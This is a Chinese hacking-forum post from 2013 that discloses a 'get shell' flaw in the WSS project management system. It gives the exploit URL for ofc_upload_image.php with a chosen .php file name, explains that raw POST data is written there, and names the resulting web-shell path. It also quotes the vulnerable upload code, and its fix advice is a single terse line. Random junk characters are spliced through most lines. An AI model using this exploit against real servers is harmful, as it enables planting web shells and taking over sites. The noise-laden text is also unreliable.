找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2057|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存9 Z* X% M' r+ U$ b! O3 C
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- D% M# d4 m: a% s* M: l
) G9 \% Y1 b* h利用:
2 r$ ?1 V% p4 N( w3 E9 r/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
' Z$ s2 J! L# b0 J% k, d& H) `3 Q1 ?/ c
" [; _0 v; }( f  H6 K& f. lPost任意数据6 f( p' O, p! J- p5 k
保存位置http://localhost/chart/tmp-upload-images/hfy.php
! w, W8 p) ^( N4 x" y/ W5 y. ]. ^( \- T1 Q! v) B) V

' `3 ?9 r3 q+ f' t9 \* n最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
2 ~& p* z3 P# R  U
9 E' `3 J$ ^: ]0 P<?php. \& H+ l9 G/ R# H( n6 o
! ~& a: F8 d3 D3 {
//
: R" h$ Q) w7 E+ V& `- z// In Open Flash Chart -> save_image debug mode, you6 t: B. M$ {- W" t
// will see the 'echo' text in a new window.! g( g6 k' n- b3 y/ W; d  w* t
//( q8 Q7 i! E. Y! X" M# ]# R
+ }* [& v3 b( x0 [. O& Q+ i
/*: ~5 ^4 w6 }+ y- `$ g

& u/ x' W2 {& D1 v6 j1 b$ V- ?0 M2 _print_r( $_GET );
& Z" `" v" X* @) B4 k' x# q& m3 l0 n. _5 \1 oprint_r( $_POST );  K9 R1 _2 X, K# `" |
print_r( $_FILES );
- a6 w5 S* A8 n$ B  x- R& s9 V) L
print_r( $GLOBALS );1 U5 d$ d' x# ^' x! H7 Q* s: s5 }/ c
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );2 s% Q0 J9 o9 ~
$ E- h: s/ M4 r' T7 t
*/, K) `) l+ _+ J8 R
// default path for the image to be stored //7 y6 T% l- t$ Q7 ]) _' ^. ^1 f
$default_path = '../tmp-upload-images/';
! V6 v- ?+ r1 P) T5 L
/ \" v& d9 A* \: Aif (!file_exists($default_path)) mkdir($default_path, 0777, true);# n1 U- p$ T5 l+ b! \2 V3 E: [6 x
* v* _2 a, `' n6 g$ V
// full path to the saved image including filename //
! S  z: M% O' n3 }$destination = $default_path . basename( $_GET[ 'name' ] ); : \. O, L- O0 ?/ I7 ], r
; p3 L; n9 W* J6 |+ k4 N  u
echo 'Saving your image to: '. $destination;* Y$ ?# p5 i# I5 @
// print_r( $_POST );/ g. g+ O3 p1 O9 P; Z/ n6 [4 V1 P
// print_r( $_SERVER );4 N6 G$ ]* Q5 l% b+ n9 y
// echo $HTTP_RAW_POST_DATA;5 s0 L8 J. ~, O

9 L9 N! P+ C  t, N8 \; h- `//  m7 N# V+ u$ C  {5 g
// POST data is usually string data, but we are passing a RAW .png
# t7 Q. }1 \/ G// so PHP is a bit confused and $_POST is empty. But it has saved! G7 o: ^0 d( \+ X
// the raw bits into $HTTP_RAW_POST_DATA, A5 T! z$ q, `( O
//
0 M3 K+ [2 D; o& D- `# B, C2 q) Z
$jfh = fopen($destination, 'w') or die("can't open file");! _, Z! u' |, `) e1 h$ V
fwrite($jfh, $HTTP_RAW_POST_DATA);
8 V* c1 [, \" t8 T/ X! V2 nfclose($jfh);
# ^4 a; U' P% h& E4 f& q9 K4 I  F
; R" m# \( y  W/ G! m+ G" I* c//( d, @6 P8 j2 u/ ~1 N& r/ M9 s. ~
// LOOK:; |. b+ |, H1 }* A0 a; |! f7 \
//1 U1 ]( W* ^( T" I3 a
exit();& i' \+ W4 m9 k6 v1 |$ y
//
6 q& h0 T' ]! u4 N& _// PHP5:
0 n. B5 J/ v8 T$ k5 o//" G2 j/ `8 [: @: n2 U- C
; R+ |, i1 e7 O
5 T; D- C! v/ r
// default path for the image to be stored //
  E  U, H* r  V9 g3 F$default_path = 'tmp-upload-images/';
# D7 {' p: v, [" M5 F% C' K- X5 k- W4 ^% e4 o% S$ D) C6 \
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
: C* t' O  t( y1 D7 O9 S8 O% z, K+ G4 `- S6 r$ i
// full path to the saved image including filename //) f  D4 d- `2 R  y2 G5 g
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); 2 K4 [8 [) d/ t9 U. o9 n

3 I! s: b' u2 \3 m' y9 K( l! Q( z// move the image into the specified directory //. T5 x$ Q' r3 f0 i- V$ t7 e; D6 M: @1 s
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {% w% \" h) N1 A
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";$ Q5 Y+ t1 n4 j; I2 [
} else {
( h7 l* S& {2 J9 n    echo "FILE UPLOAD FAILED";
6 E8 \2 n( r7 V}
+ _/ T/ v* P$ _9 b( D" E+ n
  k4 ?0 U+ J" H1 l% g8 F$ ?3 k; P3 c5 T8 V
?>
5 i0 q* |& X- E9 ~
' y6 r( F( D% a5 l: y; Q( y
4 N8 o/ l+ I: U! G) |* @9 v& B& x% Q9 ]- `2 ]0 n2 S
2 k" p9 u; M) J8 a0 [0 n5 Y
" q9 ?" K/ }/ Y0 F& X

4 N' z3 q1 R& D, V. t, `) e修复方案: + q  p4 k, M/ D/ v0 n4 g3 [
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
" u- Y& ~1 J2 q" T/ h8 L9 H4 ?" Z, ]& M* l& ]& d: ?5 r
4 L6 j" l0 W: I% C; E

3 H  W4 S# b& ^8 X1 ~5 j1 F( c% c" D& z; `3 o" P  p

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表